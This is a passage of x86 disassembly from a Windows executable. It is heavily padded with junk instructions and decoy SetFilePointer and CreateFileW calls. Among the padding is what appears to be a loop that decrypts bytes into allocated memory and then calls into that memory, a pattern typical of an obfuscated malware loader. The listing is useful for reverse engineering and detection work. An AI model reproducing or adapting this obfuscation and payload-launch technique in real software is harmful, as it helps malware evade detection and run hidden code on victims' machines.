movsx ecx, byte [eax]
sar edx, cl
mov byte [ebp - 3], dl
jmp 0x403bad
lea ecx, [ebp - 0x10]
mov dword [0x405048], ecx
push 0
push 0
push 0x4a73
mov edx, dword [ebp - 0xdc]
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x394], eax
cmp dword [ebp - 0x230], 0xddff
je 0x403c35
mov eax, dword [ebp - 0x230]
add eax, 0x8e
mov dword [ebp - 0x230], eax
mov ecx, dword [ebp - 0x8c]
or ecx, dword [0x405004]
mov dword [ebp - 0xb4], ecx
jmp 0x403c04
mov edx, dword [ebp - 0x70]
mov eax, dword [ebp - 0x30]
mov ecx, dword [edx]
or ecx, dword [eax]
mov edx, dword [ebp - 0x38]
mov dword [edx], ecx
push 1
push 0
push 0x14f7
mov eax, dword [ebp - 0x94]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x264], eax
mov ecx, dword [ebp - 0x234]
add ecx, 9
mov dword [ebp - 0x234], ecx
movzx edx, byte [ebp - 1]
mov eax, dword [ebp - 0x24]
movzx ecx, byte [eax]
sar edx, cl
mov byte [0x40500b], dl
movzx ecx, word [ebp - 0xc]
mov edx, dword [0x405020]
movzx eax, word [edx]
sub ecx, eax
mov edx, dword [ebp - 0xb8]
mov word [edx], cx
cmp dword [ebp - 0x234], 0xf523
jb 0x403c60
push 1
push 0
push 0xf089
mov eax, dword [ebp - 0x4c]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x410], eax
mov ecx, dword [ebp - 0x238]
add ecx, 0x82
mov dword [ebp - 0x238], ecx
movsx edx, byte [ebp - 5]
mov eax, dword [ebp - 0xa4]
movsx ecx, byte [eax]
xor edx, ecx
mov byte [ebp - 3], dl
movsx edx, word [ebp - 0x18]
movsx eax, word [ebp - 0x10]
and edx, eax
mov ecx, dword [0x40503c]
mov word [ecx], dx
cmp dword [ebp - 0x238], 0x6ec3
jb 0x403cbe
push 2
push 0
push 0x14a6
mov edx, dword [ebp - 0x90]
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x338], eax
mov dword [ebp - 0x260], 0x2adb
cmp dword [ebp - 0x23c], 0x9a90
jb 0x403d8c
mov eax, dword [ebp - 0x8c]
add eax, dword [0x405004]
mov dword [ebp - 0xd0], eax
mov ecx, dword [ebp - 0x23c]
sub ecx, 0xfc
mov dword [ebp - 0x23c], ecx
mov edx, dword [ebp - 0x30]
mov eax, dword [ebp - 0xc8]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x70]
mov dword [ecx], eax
push 0
push 0x80
push 1
push 0
push 2
push 0x80000000
push 0x4013f0
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0xf8], eax
jmp 0x403d27
mov edx, dword [ebp - 0x240]
add edx, 0xf3
mov dword [ebp - 0x240], edx
movzx eax, byte [ebp - 1]
movzx ecx, byte [ebp - 4]
add eax, ecx
mov byte [0x405003], al
mov edx, dword [ebp - 0xd8]
movzx eax, word [edx]
mov ecx, dword [0x405020]
movzx edx, word [ecx]
and eax, edx
mov ecx, dword [ebp - 0xb8]
mov word [ecx], ax
cmp dword [ebp - 0x240], 0x2ae0
jb 0x403d8c
push 0
push 0
push 0xe297
mov edx, dword [ebp - 0x33c]
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x340], eax
mov eax, dword [ebp - 0xfc]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0x2a]
xor ecx, edx
mov byte [ebp - 0x29], cl
mov eax, dword [ebp - 0x244]
sub eax, 0xc
mov dword [ebp - 0x244], eax
movsx edx, word [ebp - 0x18]
movsx ecx, word [ebp - 0x10]
shl edx, cl
mov eax, dword [0x405038]
mov word [eax], dx
push 0
push 0x80
push 2
push 0
push 2
push 0x40000000
push 0x401430
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x2f0], eax
cmp dword [ebp - 0x244], 0xcbf7
jae 0x403df2
mov ecx, dword [ebp - 0x248]
add ecx, 0x4e
mov dword [ebp - 0x248], ecx
mov edx, dword [ebp - 0x40]
mov eax, dword [edx]
or eax, dword [0x405004]
mov dword [ebp - 0xbc], eax
mov edx, dword [ebp - 0xc8]
mov ecx, dword [ebp - 0x60]
shr edx, cl
mov eax, dword [ebp - 0x38]
mov dword [eax], edx
push 1
push 0
push 0x987d
mov ecx, dword [ebp - 0xf8]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x414], eax
cmp dword [ebp - 0x248], 0x4d8f
jne 0x403e54
cmp dword [ebp - 0x24c], 0x2362
jb 0x403f0c
movzx edx, byte [ebp - 1]
mov eax, dword [ebp - 0x24]
movzx ecx, byte [eax]
sar edx, cl
mov byte [0x40500c], dl
mov ecx, dword [ebp - 0x24c]
sub ecx, 6
mov dword [ebp - 0x24c], ecx
mov edx, dword [ebp - 0xb8]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x34]
sar eax, cl
mov ecx, dword [ebp - 0x7c]
mov word [ecx], ax
push 0
push 0
push 0xa32a
mov edx, dword [ebp - 0x90]
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x358], eax
jmp 0x403eac
cmp dword [ebp - 0x250], 0x6cbe
jae 0x403f62
movsx eax, byte [ebp - 2]
movsx ecx, byte [ebp - 0x29]
or eax, ecx
mov byte [ebp - 3], al
mov edx, dword [ebp - 0x250]
add edx, 0x50
mov dword [ebp - 0x250], edx
movsx eax, word [ebp - 0x10]
movsx ecx, word [ebp - 0x18]
shl eax, cl
mov ecx, dword [0x40503c]
mov word [ecx], ax
push 2
push 0
push 0x1c06
mov edx, dword [ebp - 0x4c]
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x418], eax
jmp 0x403f0c
cmp dword [ebp - 0x254], 0x2c51
jbe 0x403f9e
mov eax, dword [ebp - 0x254]
sub eax, 7
mov dword [ebp - 0x254], eax
mov ecx, dword [ebp - 0xe0]
mov edx, dword [ebp - 0xd0]
xor edx, dword [ecx]
mov dword [ebp - 0xe4], edx
mov eax, dword [ebp - 0x58]
sub eax, dword [ebp - 0x60]
mov ecx, dword [ebp - 0x70]
mov dword [ecx], eax
jmp 0x403f62
push 2
push 0
push 0x71cb
mov edx, dword [ebp - 0x80]
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x344], eax
mov eax, dword [ebp - 0x258]
sub eax, 0x5a
mov dword [ebp - 0x258], eax
movzx ecx, byte [ebp - 4]
movzx edx, byte [0x40500a]
and ecx, edx
mov byte [0x405017], cl
mov eax, dword [ebp - 0x2ec]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x100]
movzx eax, word [edx]
add ecx, eax
mov edx, dword [ebp - 0xd8]
mov word [edx], cx
cmp dword [ebp - 0x258], 0x70d4
ja 0x403fb7
push 1
push 0
push 0x83a4
mov eax, dword [ebp - 0x94]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x41c], eax
mov ecx, dword [ebp - 0x25c]
add ecx, 0x21
mov dword [ebp - 0x25c], ecx
movsx edx, byte [ebp - 5]
movsx eax, byte [ebp - 3]
add edx, eax
mov byte [ebp - 2], dl
cmp dword [ebp - 0x25c], 0x2981
jne 0x40401e
movsx ecx, word [ebp - 0x18]
mov edx, dword [ebp - 0x64]
movsx eax, word [edx]
add ecx, eax
mov edx, dword [0x405030]
mov word [edx], cx
push 0
push 0
push 0x55e4
mov eax, dword [ebp - 0x4c]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x348], eax
cmp dword [ebp - 0x260], 0x2a15
jb 0x4040ad
mov ecx, dword [ebp - 0x260]
sub ecx, 0x63
mov dword [ebp - 0x260], ecx
mov edx, dword [ebp - 0x40]
mov eax, dword [ebp - 0x54]
mov ecx, dword [edx]
shl eax, cl
mov dword [ebp - 0x44], eax
mov ecx, dword [ebp - 0x70]
mov edx, dword [ebp - 0x30]
mov eax, dword [ecx]
and eax, dword [edx]
mov ecx, dword [ebp - 0x38]
mov dword [ecx], eax
jmp 0x404074
mov dword [ebp - 0x268], 0x6e624bc1
mov edx, dword [ebp - 0x88]
movsx eax, word [edx]
mov dword [ebp - 0x34c], eax
cmp dword [ebp - 0x34c], 0
je 0x4040d4
jmp 0x404d76
mov cl, byte [0x40500a]
mov byte [0x40501e], cl
lea eax, [ebp - 0x34]
mov dword [ebp - 0x2b8], eax
mov dword [ebp - 0x2c0], 0x9873
push 1
push 0
push 0x7b77
mov ecx, dword [ebp - 0xd4]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x37c], eax
mov dword [ebp - 0x28c], 0x5cdb
mov edx, dword [ebp - 0x268]
sub edx, 0x6e5e4bc1
mov dword [ebp - 0x268], edx
mov edx, dword [0x405020]
movzx eax, word [edx]
mov dword [ebp - 0x350], eax
cmp dword [ebp - 0x350], 0x223
je 0x404148
jmp 0x40415f
mov ecx, dword [ebp - 0xa4]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x9c]
movsx ecx, byte [eax]
or edx, ecx
mov byte [ebp - 3], dl
mov edx, dword [ebp - 0x64]
movsx eax, word [edx]
movsx ecx, word [0x40502c]
or eax, ecx
mov edx, dword [0x405038]
mov word [edx], ax
mov dword [ebp - 0xf4], 0xbbb8cd8d
mov eax, dword [ebp - 0x58]
mov dword [ebp - 0x354], eax
cmp dword [ebp - 0x354], 0
je 0x404195
jmp 0x4041b1
push 0
push 0
push 0x3d91
mov ecx, dword [ebp - 0x2f0]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x358], eax
mov edx, dword [ebp - 0x2a4]
mov eax, dword [edx]
xor eax, dword [ebp - 0xb4]
mov dword [ebp - 0x8c], eax
lea ecx, [ebp - 0xc8]
mov dword [ebp - 0x2b4], ecx
mov edx, dword [ebp - 0xf4]
add edx, 0x44495c57
mov dword [ebp - 0xf4], edx
mov eax, dword [ebp - 0xbc]
mov dword [ebp - 0x35c], eax
cmp dword [ebp - 0x35c], 0x585b
je 0x4041fd
jmp 0x40420d
movzx ecx, byte [ebp - 1]
movzx edx, byte [ebp - 4]
sub ecx, edx
mov byte [0x405017], cl
push 0
push 0
push 0xae44
mov edx, dword [ebp - 0x4c]
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x420], eax
movzx eax, word [section..data]
mov ecx, dword [ebp - 0x7c]
movzx ecx, word [ecx]
shl eax, cl
mov edx, dword [ebp - 0x2b8]
mov word [edx], ax
mov eax, dword [ebp - 0xf4]
mov dword [ebp - 0x370], eax
push 1
push 0
push 0x5799
mov ecx, dword [ebp - 0xf8]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x264], eax
movsx edx, word [ebp - 0x10]
mov dword [ebp - 0x360], edx
cmp dword [ebp - 0x360], 0
je 0x40427b
jmp 0x404281
mov al, byte [ebp - 2]
mov byte [ebp - 0x71], al
mov ecx, dword [ebp - 0x2c4]
mov edx, dword [ecx + 0x6004]
mov dword [ebp - 0x374], edx
push 0
push 0
push 0x4d66
mov eax, dword [ebp - 0xe8]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x424], eax
movzx ecx, word [section..data]
mov dword [ebp - 0x364], ecx
cmp dword [ebp - 0x364], 0
je 0x4042ca
jmp 0x404d61
mov edx, dword [ebp - 0xe4]
mov ecx, dword [0x405004]
shl edx, cl
mov eax, dword [ebp - 0x2a4]
mov dword [eax], edx
lea ecx, [ebp - 0xc8]
mov dword [ebp - 0x2f4], ecx
mov dl, byte [0x405003]
mov byte [ebp - 0x368], dl
cmp byte [ebp - 0x368], 0
je 0x404303
jmp 0x40431f
push 2
push 0
push 0x766c
mov eax, dword [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x36c], eax
mov ecx, dword [ebp - 0x370]
push ecx
mov edx, dword [ebp - 0xf4]
push edx
mov eax, dword [ebp - 0x268]
push eax
call dword [ebp - 0x374]
mov dword [ebp - 0x2c8], eax
mov edx, dword [ebp - 0x26c]
add edx, 0x33
mov dword [ebp - 0x26c], edx
mov eax, dword [ebp - 0x24]
movzx edx, byte [eax]
movzx ecx, byte [0x40500a]
sar edx, cl
mov byte [0x40500b], dl
mov eax, dword [ebp - 0x6c]
movzx ecx, word [eax]
mov edx, dword [ebp - 0xb8]
movzx eax, word [edx]
sub ecx, eax
mov edx, dword [ebp - 0x6c]
mov word [edx], cx
cmp dword [ebp - 0x26c], 0xb45d
jne 0x404340
mov eax, dword [ebp - 0x2c8]
mov dword [ebp - 0x290], eax
mov ecx, dword [ebp - 0x100]
movzx edx, word [ecx]
mov dword [ebp - 0x378], edx
cmp dword [ebp - 0x378], 0
je 0x4043ad
jmp 0x4043d3
push 0
push 0
push 0xedce
mov eax, dword [ebp - 0x98]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x428], eax
mov dword [ebp - 0x284], 0x890
mov dword [ebp - 0x50], 0x234d5141
cmp dword [ebp - 0x270], 0x2111
je 0x40440e
mov ecx, dword [ebp - 0x270]
add ecx, 0x1c
mov dword [ebp - 0x270], ecx
mov edx, dword [ebp - 0xa4]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0xc0]
movsx edx, byte [ecx]
sub eax, edx
mov byte [ebp - 0x11], al
jmp 0x4043da
mov dword [ebp - 0x2a8], 0x80
push 0
push 0
push 0xba45
mov eax, dword [ebp - 0x68]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x37c], eax
mov ecx, dword [ebp - 0xc0]
mov dl, byte [ecx]
mov byte [ebp - 0x380], dl
cmp byte [ebp - 0x380], 0xc2
je 0x40444d
jmp 0x404d4c
mov ecx, dword [ebp - 0x64]
movsx edx, word [ecx]
movsx eax, word [0x40502c]
and edx, eax
mov word [0x405010], dx
mov ecx, dword [ebp - 0xc4]
xor ecx, dword [ebp - 0x8c]
mov edx, dword [ebp - 0xa8]
mov dword [edx], ecx
mov eax, dword [ebp - 0x2c4]
add eax, 0x13898
mov dword [ebp - 0x2f8], eax
mov cl, byte [ebp - 2]
mov byte [ebp - 0x384], cl
cmp byte [ebp - 0x384], 0xc2
je 0x40449c
jmp 0x4044bf
push 2
push 0
push 0x54d5
mov edx, dword [ebp - 0x80]
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x42c], eax
mov dword [ebp - 0x280], 0x12ed
mov eax, dword [ebp - 0x2f8]
mov dword [ebp - 0x288], eax
cmp dword [ebp - 0x274], 0xf6c7
je 0x40450f
mov ecx, dword [ebp - 0x274]
add ecx, 0x24
mov dword [ebp - 0x274], ecx
mov edx, dword [ebp - 0x70]
mov eax, dword [ebp - 0x60]
xor eax, dword [edx]
mov dword [ebp - 0x58], eax
push 0
push 0
push 0x7f9a
mov ecx, dword [ebp - 0xf8]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x430], eax
jmp 0x4044cb
mov dword [ebp - 0x27c], 0xd5942a3b
movzx ecx, word [section..data]
mov dword [ebp - 0x388], ecx
cmp dword [ebp - 0x388], 0
je 0x404534
jmp 0x404d37
lea edx, [ebp - 0x34]
mov dword [ebp - 0x2a0], edx
mov eax, dword [ebp - 0xa8]
mov ecx, dword [eax]
mov dword [ebp - 0x38c], ecx
cmp dword [ebp - 0x38c], 0x8ae2
je 0x40455c
jmp 0x404d22
mov edx, dword [ebp - 0x27c]
add edx, 0x2a8cabed
mov dword [ebp - 0x27c], edx
mov eax, dword [ebp - 0xc0]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0xfc]
movsx eax, byte [edx]
or ecx, eax
mov edx, dword [ebp - 0x9c]
mov byte [edx], cl
movsx eax, word [ebp - 0x18]
movsx ecx, word [0x405034]
sar eax, cl
mov word [0x40502c], ax
push 2
push 0
push 0xc715
mov ecx, dword [ebp - 0xdc]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x278], eax
mov edx, dword [ebp - 0xc0]
mov al, byte [edx]
mov byte [ebp - 0x390], al
cmp byte [ebp - 0x390], 0xc2
je 0x4045d5
jmp 0x404d12
lea ecx, [ebp - 0x60]
mov dword [ebp - 0x298], ecx
mov edx, dword [ebp - 0x2a8]
cmp edx, dword [ebp - 0x27c]
jae 0x404b73
push 0
push 0x80
push 2
push 0
push 2
push 0x80000000
push 0x401460
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0xec], eax
mov eax, dword [ebp - 0x24]
movzx edx, byte [eax]
mov eax, dword [0x405028]
movzx ecx, byte [eax]
shl edx, cl
mov byte [0x40501e], dl
mov ecx, dword [ebp - 0x6c]
movzx edx, word [ecx]
movzx eax, word [section..data]
add edx, eax
mov ecx, dword [ebp - 0x2a0]
mov word [ecx], dx
mov edx, dword [ebp - 0x288]
mov al, byte [edx]
mov byte [ebp - 0x1d], al
push 0
push 0
push 0x4722
mov ecx, dword [ebp - 0xf8]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x434], eax
mov edx, dword [ebp - 0x9c]
movsx eax, byte [edx]
mov ecx, dword [0x405018]
movsx edx, byte [ecx]
add eax, edx
mov byte [ebp - 0x11], al
mov eax, dword [ebp - 0x88]
movsx ecx, word [eax]
mov edx, dword [0x405040]
movsx eax, word [edx]
add ecx, eax
mov edx, dword [0x405048]
mov word [edx], cx
movzx eax, byte [ebp - 0x1d]
add eax, dword [ebp - 0x50]
mov byte [ebp - 0x1d], al
cmp dword [ebp - 0x280], 0x12ed
jb 0x4046df
mov ecx, dword [ebp - 0x280]
sub ecx, 0x34
mov dword [ebp - 0x280], ecx
push 1
push 0
push 0xcd28
mov edx, dword [ebp - 0xa0]
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x438], eax
jmp 0x4046a6
mov eax, dword [ebp - 0xbc]
mov ecx, dword [0x405004]
shl eax, cl
mov dword [ebp - 0x44], eax
mov ecx, dword [ebp - 0x2b4]
mov edx, dword [ebp - 0x298]
mov eax, dword [ecx]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x30]
mov dword [ecx], eax
movzx edx, byte [ebp - 0x1d]
sub edx, dword [ebp - 0x50]
mov byte [ebp - 0x1d], dl
push 2
push 0
push 0x17d5
mov eax, dword [ebp - 0xec]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x43c], eax
movzx edx, byte [ebp - 1]
movzx ecx, byte [0x40500b]
sar edx, cl
mov byte [0x405017], dl
movzx eax, byte [ebp - 0x1d]
add eax, dword [ebp - 0x50]
mov byte [ebp - 0x1d], al
push 2
push 0
push 0x45b8
mov ecx, dword [ebp - 0xec]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x440], eax
movzx edx, word [ebp - 0x48]
mov eax, dword [0x405020]
movzx ecx, word [eax]
or edx, ecx
mov eax, dword [ebp - 0x2ec]
mov word [eax], dx
movsx ecx, byte [ebp - 0x2b]
mov edx, dword [0x405018]
movsx eax, byte [edx]
and ecx, eax
mov byte [ebp - 5], cl
mov ecx, dword [ebp - 0x290]
mov dl, byte [ebp - 0x1d]
mov byte [ecx], dl
cmp dword [ebp - 0x284], 0x8d7
je 0x4047ce
mov eax, dword [ebp - 0x284]
add eax, 0x47
mov dword [ebp - 0x284], eax
push 1
push 0
push 0xbfee
mov ecx, dword [ebp - 0x4c]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x444], eax
jmp 0x404798
movsx edx, word [ebp - 0x18]
movsx eax, word [ebp - 0x78]
sub edx, eax
mov ecx, dword [0x405030]
mov word [ecx], dx
mov edx, dword [ebp - 0x40]
mov eax, dword [ebp - 0x54]
and eax, dword [edx]
mov dword [ebp - 0x44], eax
mov ecx, dword [ebp - 0x38]
mov edx, dword [ebp - 0x58]
or edx, dword [ecx]
mov eax, dword [ebp - 0x298]
mov dword [eax], edx
mov ecx, dword [ebp - 0x288]
add ecx, 1
mov dword [ebp - 0x288], ecx
mov edx, dword [ebp - 0x28c]
add edx, 0x39
mov dword [ebp - 0x28c], edx
push 0
push 0
push 0xd817
mov eax, dword [ebp - 0x84]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x448], eax
cmp dword [ebp - 0x28c], 0x5d4d
jb 0x40480b
mov ecx, dword [ebp - 0x24]
movzx edx, byte [ecx]
mov eax, dword [0x405044]
movzx ecx, byte [eax]
sar edx, cl
mov byte [0x405015], dl
mov ecx, dword [ebp - 0x290]
add ecx, 1
mov dword [ebp - 0x290], ecx
push 0
push 0
push 0x9a1c
mov edx, dword [ebp - 0x2f0]
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x44c], eax
movzx eax, word [ebp - 0xac]
mov ecx, dword [ebp - 0x2a0]
movzx edx, word [ecx]
xor eax, edx
mov ecx, dword [ebp - 0x100]
mov word [ecx], ax
mov edx, dword [ebp - 0xfc]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x108]
movsx ecx, byte [ecx]
shl eax, cl
mov byte [ebp - 0x71], al
movsx edx, word [ebp - 0x78]
movsx ecx, word [ebp - 0x18]
shl edx, cl
mov eax, dword [0x405030]
mov word [eax], dx
mov ecx, dword [ebp - 0x50]
sub ecx, 0xd94d
mov dword [ebp - 0x50], ecx
cmp dword [ebp - 0x294], 0x4102
jae 0x40491a
mov edx, dword [ebp - 0x294]
add edx, 0x41
mov dword [ebp - 0x294], edx
push 1
push 0
push 0xbb5a
mov eax, dword [ebp - 0x68]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x450], eax
mov edx, dword [ebp - 0xb4]
mov ecx, dword [ebp - 0xc4]
shl edx, cl
mov dword [ebp - 0x54], edx
jmp 0x4048d3
mov eax, dword [ebp - 0x50]
add eax, 0x4b1f
mov dword [ebp - 0x50], eax
push 0
push 0
push 0x9c2b
mov ecx, dword [ebp - 0x104]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x454], eax
mov edx, dword [ebp - 0x298]
mov eax, dword [edx]
xor eax, dword [ebp - 0x5c]
mov ecx, dword [ebp - 0x2b4]
mov dword [ecx], eax
cmp dword [ebp - 0x29c], 0xe19f
jae 0x40499d
mov edx, dword [ebp - 0x29c]
add edx, 0x92
mov dword [ebp - 0x29c], edx
movzx eax, byte [ebp - 1]
mov ecx, dword [ebp - 0x24]
movzx ecx, byte [ecx]
sar eax, cl
mov byte [0x40500a], al
movzx edx, word [ebp - 0xc]
mov eax, dword [ebp - 0x2a0]
movzx ecx, word [eax]
or edx, ecx
mov eax, dword [ebp - 0x100]
mov word [eax], dx
jmp 0x404954
mov ecx, dword [ebp - 0x50]
sub ecx, 0x176b
mov dword [ebp - 0x50], ecx
push 2
push 0
push 0xfd78
mov edx, dword [ebp - 0x104]
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x458], eax
movsx eax, byte [ebp - 5]
movsx ecx, byte [0x405014]
add eax, ecx
mov byte [ebp - 0x2b], al
mov edx, dword [ebp - 0x88]
movsx eax, word [edx]
movsx ecx, word [0x405008]
and eax, ecx
mov edx, dword [0x405040]
mov word [edx], ax
imul eax, dword [ebp - 0x50], 0xa8ed
mov dword [ebp - 0x50], eax
push 0
push 0
push 0x5322
mov ecx, dword [ebp - 0xe8]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x45c], eax
mov edx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x2a4]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov dword [ebp - 0x8c], ecx
mov edx, dword [ebp - 0x50]
sub edx, 0xa163
mov dword [ebp - 0x50], edx
push 1
push 0
push 0x688c
mov eax, dword [ebp - 0x98]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x460], eax
mov ecx, dword [ebp - 0x2f4]
mov edx, dword [ebp - 0x58]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x30]
mov dword [eax], edx
movzx ecx, byte [ebp - 4]
mov edx, dword [0x405044]
movzx eax, byte [edx]
sub ecx, eax
mov byte [0x405015], cl
mov ecx, dword [ebp - 0x2b8]
movzx edx, word [ecx]
movzx ecx, word [ebp - 0xb0]
sar edx, cl
mov eax, dword [ebp - 0x6c]
mov word [eax], dx
imul ecx, dword [ebp - 0x50], 0xb7a9
mov dword [ebp - 0x50], ecx
push 0
push 0
push 0x74fb
mov edx, dword [ebp - 0x98]
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x464], eax
mov eax, dword [ebp - 0xc0]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0xa4]
movsx eax, byte [edx]
and ecx, eax
mov byte [ebp - 0x2b], cl
movsx ecx, word [ebp - 0x18]
mov edx, dword [ebp - 0x64]
movsx eax, word [edx]
add ecx, eax
mov edx, dword [0x40503c]
mov word [edx], cx
mov eax, dword [ebp - 0x2a8]
add eax, 0x2cb6
mov dword [ebp - 0x2a8], eax
mov ecx, dword [ebp - 0xa8]
mov edx, dword [ebp - 0x3c]
mov eax, dword [ecx]
or eax, dword [edx]
mov dword [ebp - 0xc4], eax
push 1
push 0
push 0xc883
mov ecx, dword [ebp - 0x2ac]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x468], eax
cmp dword [ebp - 0x2b0], 0xc486
je 0x404b6e
mov edx, dword [ebp - 0x2b0]
add edx, 0x35
mov dword [ebp - 0x2b0], edx
mov eax, dword [ebp - 0x2b4]
mov ecx, dword [ebp - 0x2f4]
mov edx, dword [eax]
xor edx, dword [ecx]
mov eax, dword [ebp - 0x38]
mov dword [eax], edx
push 1
push 0
push 0x4eb9
mov ecx, dword [ebp - 0xec]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x46c], eax
jmp 0x404b20
jmp 0x4045de
mov edx, dword [ebp - 0x2bc]
add edx, 0xfc
mov dword [ebp - 0x2bc], edx
mov eax, dword [ebp - 0x24]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 4]
xor ecx, edx
mov byte [0x405002], cl
movzx eax, word [ebp - 0x10c]
movzx ecx, word [section..data]
or eax, ecx
mov edx, dword [ebp - 0x2b8]
mov word [edx], ax
cmp dword [ebp - 0x2bc], 0x10094
jbe 0x404b73
mov eax, dword [ebp - 0x2c8]
add eax, 0xbc
mov dword [ebp - 0x3ac], eax
push 1
push 0
push 0x3731
mov ecx, dword [ebp - 0x98]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x394], eax
mov edx, dword [ebp - 0xa4]
mov al, byte [edx]
mov byte [ebp - 0x398], al
cmp byte [ebp - 0x398], 0x37
je 0x404c02
jmp 0x404c19
mov ecx, dword [0x405018]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x9c]
movsx ecx, byte [eax]
add edx, ecx
mov byte [ebp - 3], dl
mov edx, dword [ebp - 0x2f8]
add edx, 0xbc
mov dword [ebp - 0x3a8], edx
lea ecx, [ebp - 0x10]
mov dword [0x40504c], ecx
mov edx, dword [ebp - 0x2c0]
add edx, 0x19
mov dword [ebp - 0x2c0], edx
push 0
push 0x80
push 1
push 0
push 3
push 0xc0000000
push 0x40149c
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x470], eax
cmp dword [ebp - 0x2c0], 0x98be
jne 0x404c34
mov eax, dword [ebp - 0x2c4]
mov dword [ebp - 0x3a4], eax
mov edx, dword [ebp - 0x8c]
mov ecx, dword [0x405004]
sar edx, cl
mov eax, dword [ebp - 0x3c]
mov dword [eax], edx
mov edx, dword [ebp - 0x5c]
mov ecx, dword [ebp - 0xc8]
shr edx, cl
mov dword [ebp - 0x39c], edx
lea eax, [ebp - 0x3ac]
push eax
call dword [ebp - 0x2c8]
mov ecx, dword [ebp - 0x5c]
mov dword [ebp - 0x3a0], ecx
cmp dword [ebp - 0x3a0], 0x5689
je 0x404cc6
jmp 0x404cd9
movzx edx, byte [0x40500b]
movzx ecx, byte [ebp - 4]
sar edx, cl
mov byte [0x405016], dl
cmp dword [ebp - 0x2cc], 0x941b
jbe 0x404d12
mov ecx, dword [ebp - 0x2cc]
sub ecx, 0x14
mov dword [ebp - 0x2cc], ecx
push 1
push 0
push 0xfc90
mov edx, dword [ebp - 0xec]
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x474], eax
jmp 0x404cd9
mov eax, dword [ebp - 0xa8]
mov ecx, dword [ebp - 0x3c]
mov edx, dword [eax]
sub edx, dword [ecx]
mov dword [ebp - 0x54], edx
mov eax, dword [ebp - 0x6c]
movzx ecx, word [eax]
push ecx
mov edx, dword [ebp - 0x3c]
mov eax, dword [edx]
push eax
call fcn.00401760
add esp, 8
movzx ecx, byte [ebp - 1]
mov edx, dword [0x405028]
movzx eax, byte [edx]
and ecx, eax
mov byte [0x405002], cl
mov ecx, dword [ebp - 0x40]
mov edx, dword [ecx]
push edx
mov eax, dword [ebp - 0xb4]
push eax
call fcn.004017a0
add esp, 8
movsx edx, word [ebp - 0x10]
mov eax, dword [0x40503c]
